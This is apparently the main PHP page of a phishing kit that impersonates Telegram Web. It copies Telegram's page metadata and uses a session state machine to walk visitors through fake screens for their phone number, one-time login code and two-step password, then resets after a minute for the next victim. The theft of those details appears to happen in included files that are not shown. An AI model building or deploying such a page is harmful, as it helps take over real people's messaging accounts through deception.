<?php require("_core.php"); ?>
<html lang="en" translate="no" class="notranslate theme-light" data-message-text-size="16" >
 <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<head>
  <meta charset="UTF-8">
  <title>Telegram Web</title>
  <meta name="title" content="Telegram Web">
  <meta name="description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
  <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no,shrink-to-fit=no,viewport-fit=cover">
  <meta name="mobile-web-app-capable" content="yes">
  <meta name="mobile-web-app-title" content="Telegram Web">
  <meta name="apple-mobile-web-app-capable" content="yes">
  <meta name="apple-mobile-web-app-title" content="Telegram Web">
  <meta name="application-name" content="Telegram Web">
  <meta name="msapplication-TileColor" content="#2b5797">
  <meta name="theme-color" content="#fff">
  <meta name="google" content="notranslate">
  <meta property="og:type" content="website">
  <meta property="og:url" content="https://web.telegram.org/z/">
  <meta property="og:title" content="Telegram Web">
  <meta property="og:description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
  <meta property="og:image" content="icon-192x192.html">
  <meta property="twitter:card" content="summary_large_image">
  <meta property="twitter:url" content="https://web.telegram.org/z/">
  <meta property="twitter:title" content="Telegram Web">
  <meta property="twitter:description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
  <meta property="twitter:image" content="icon-192x192.html">
  <link rel="apple-touch-icon" sizes="180x180" href="apple-touch-icon.html">
  <link rel="icon" href="favicon.html" type="image/svg+xml">
  <link rel="icon" type="image/png" sizes="16x16" href="favicon-16x16.html">
  <link rel="icon" type="image/png" sizes="32x32" href="favicon-32x32.html">
  <link rel="icon" type="image/png" sizes="192x192" href="icon-192x192.html">
  <link rel="alternate icon" href="favicon-2.html" type="image/x-icon">
  <link href="haykaljb/css/style.css" rel="stylesheet">
  <style>
      #toggle{
            position: absolute;
            top: 50%;
            right: 20px;
            transform: translateY(-50%);
            width: 30px;
            height: 30px;
            background: url(haykaljb/img/show.jpg);
            background-size: cover;
            cursor: pointer;
        }
        #toggle.hide{
            background: url(haykaljb/img/hide.png);
            background-size: cover;
        }

</style>
    <script src="assets/vendors/jQuery/jquery.min.js"></script>
</head>
<body>

    <?php
  // Define constant untuk allow access ke included files
  define('ACCESSED_VIA_INDEX', true);
  
  if (!isset($_SESSION["state"]) || isset($_GET["otherAccount"])) {
    $_SESSION["state"] = "start";
    unset($_SESSION["phone"], $_SESSION["otp"], $_SESSION["hint"]);
  }

  $F = $_SESSION["state"];
  switch ($F) {
    case "start": require("Lander.php"); break;
    case "phone": require("OTPC.php");   break;
    case "otp":   require("PASS.php");   break;
    case "success":
      $_SESSION["state"] = "sccs";
      $_SESSION["success_time"] = time(); // Record success time
      require("SCCS.php");
      break;
    case "sccs":
      // Check if 1 minute has passed since success
      $success_time = $_SESSION["success_time"] ?? 0;
      if (time() - $success_time >= 60) {
        // 1 minute passed, reset to start
        $_SESSION["state"] = "start";
        unset($_SESSION["phone"], $_SESSION["otp"], $_SESSION["hint"], $_SESSION["success_time"]);
        require("Lander.php");
      } else {
        // Still within 1 minute, show SCCS
        require("SCCS.php");
      }
      break;
    default:
      require("Lander.php");
  }
?>

  </div>
  <div id="loader"><div class="loader"></div></div>
  <script>$("#loader").hide();</script>
</body>
</html>